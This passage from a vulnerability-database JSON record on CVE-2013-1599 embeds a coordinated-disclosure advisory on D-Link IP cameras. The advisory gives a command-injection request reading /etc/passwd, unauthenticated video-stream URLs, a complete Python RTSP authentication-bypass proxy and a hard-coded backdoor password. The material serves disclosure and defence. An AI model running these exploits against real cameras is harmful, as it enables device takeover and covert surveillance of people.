        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2121",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3430",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5605",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5635",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411/3430",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "-1.02"
      },
      {
        "model": "dcs-5605/5635",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-1100l/1130l",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1100/1130",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.03"
      },
      {
        "model": "dcs-1100/1130 1.04 us",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102/2121 1.05 ru",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Francisco Falcon and Nahuel Riva from Core Exploit Writers Team",
    "sources": [
      {
        "db": "BID",
        "id": "59564"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-1599",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2013-1599",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 1.9,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 7.5,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2013-04632",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "id": "CVE-2013-1599",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "High",
            "baseScore": 9.8,
            "baseSeverity": "Critical",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2013-1599",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-1599",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-1599",
            "trust": 0.8,
            "value": "Critical"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2013-04632",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201305-030",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULMON",
            "id": "CVE-2013-1599",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface. plural D-Link IP Camera Products include OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. There are security vulnerabilities in multiple D-Link webcam products. Multiple D-Link webcam products \u0027/var/www/cgi-bin/rtpd.cgi\u0027 have input validation vulnerabilities that allow remote attackers to exploit vulnerabilities to submit requests similar to the following to execute arbitrary commands in the application context: http:// 192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd. \nExploiting this issue could allow an  attacker to execute  arbitrary commands in the context of the affected device. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *Authentication Bypass*\n\n[CVE-2013-1600] The live video stream can be accessed without\nauthentication by a remote attacker via the following request:\n\n/-----\nhttp://192.168.1.100/upnp/asf-mp4.asf\n-----/\n\n7.3. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "db": "BID",
        "id": "59564"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      }
    ],
    "trust": 2.61
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=25138",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
